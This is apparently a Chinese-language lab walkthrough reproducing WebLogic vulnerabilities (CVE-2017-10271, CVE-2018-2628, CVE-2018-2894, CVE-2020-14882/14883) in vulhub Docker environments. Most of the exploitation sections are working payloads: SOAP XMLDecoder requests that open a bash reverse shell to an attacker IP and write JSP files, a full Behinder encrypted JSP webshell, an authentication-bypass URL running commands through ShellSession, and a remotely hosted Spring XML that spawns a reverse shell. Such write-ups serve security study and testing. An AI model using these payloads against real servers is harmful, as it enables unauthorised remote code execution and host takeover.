Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

漏洞原理

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞触发url:/wls-wsat/CoordinatorPortType(POST)

SOAP:SOAP是web服务安全性内置协议,采用保密和身份验证规则集的方式,支持OASIS个W3C制定的标准,结合使用xml加密、xml签名和SAML令牌等方式来验证身份和授权。SOAP更安全,适合处理敏感数据。

影响版本

Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3

环境搭建

使用vulhub/weblogic/CVE-2017-10271

docker-compose build
docker-compose up -d

启动镜像后,访问http:/xxxx:7001/即可看到一个404页面,说明weblogic已成功启动。

1

漏洞复现

利用上面介绍的漏洞url,尝试访问

1
http://192.168.0.20:7001/wls-wsat/CoordinatorPortType

如果出现以下页面说明存在XMLDecoder反序列化漏洞;

2

bp进行抓包

3

发现是个get请求包,改为POST请求,然后加入soap请求内容

这里需要在攻击机上开一个监听端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/192.168.88.130/10000 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

4

已经显示成功,直接可以在攻击机上看到

5

还有另外一种利用方法就是可以通过上传木马的形式通过webshell连接工具进行连接。

尝试向对方上传文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java><java version="1.4.0" class="java.beans.XMLDecoder">

<object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>

<void method="println"><string>

<![CDATA[

<% out.print("test"); %>

]]>

</string>

</void>

<void method="close"/>

</object></java></java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

7

查看路径,发现成功写入

7

这样子就可以直接写马进去,直接用冰蝎的jsp马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

7

shell.jsp成功访问

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

漏洞原理

T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。

反射机制:
Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。

RMI:
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections这类库,那么回导致远程命令执行。

RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

绕过黑名单:
Weblogic 中InboundMsgAbbrev 的resolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。
影响版本 Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3

漏洞分析

其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。

T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

Weblogic 使用了Apache Commons Collections库,利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer,他们的共同特点是都需要实现序列化接口才能被反序列化。

源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic

Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞原理

Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。

环境搭建

使用vulhub/weblogic/CVE-2018-2894

docker-compose build
docker-compose up -d

启动镜像后,访问http:/xxxx:7001/console

2

漏洞复现

1
2
3
docker-compose ps 

docker-compose logs | grep password

2
在配置文件中搜索到weblogic密码

2

base-domain –>高级 –> 开启 web测试页 –> 保存

2

访问漏洞页面http://your-ip:7001/ws_utc/config.do

第一次打开需要等待一会

接着需要更改工作目录的路径

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后就可以上马,这里直接用冰蝎的jsp马

2

上传成功

2

访问木马的地址是:http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]。

时间戳可以在页面源码中找到,也可以使用burp抓包看。

2

时间戳为1681626915463

2

冰蝎连接

2

成功连接

Weblogic Pre-Auth 远程命令执行(CVE-2020-14882、CVE-2020-14883)

漏洞原理

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

环境搭建

使用vulhub/weblogic/CVE-2018-2894

docker-compose build
docker-compose up -d

启动镜像后,访问http:/xxxx:7001/console

2

漏洞复现

使用poc绕过console组件的身份验证:

1
/console/css/%252e%252e%252fconsole.portal

2

可以看到不需要登录就能够直接访问管理后台。但是这是一个低权限的用户,无法安装应用、执行任意代码、上传webshell。

CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。

第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession

第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。

http://192.168.88.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

2

进入容器查看,成功写入success1

2

尝试访问服务器的xml文件,远程rce:

利用python开启一个简单的http服务,在桌面打开终端输入下面命令:

1
python -m http.server 80

然后再桌面新建一个rce.xml,写入:

先看能否成功执行touch /tmp/success2,通过访问以下链接,引入恶意xml,执行命令:

http://192.168.88.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.1.175/rce.xml%22)

可以看到成功访问了服务器上的xml文件,并执行了命令,接下来试执行反弹shell的命令,修改xml文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.0.10/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans

先开启nc监听对应的端口,然后再次访问以下链接,引入恶意xml,执行命令:

http://192.168.88.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.1.175/rce.xml%22)

反弹shell,执行命令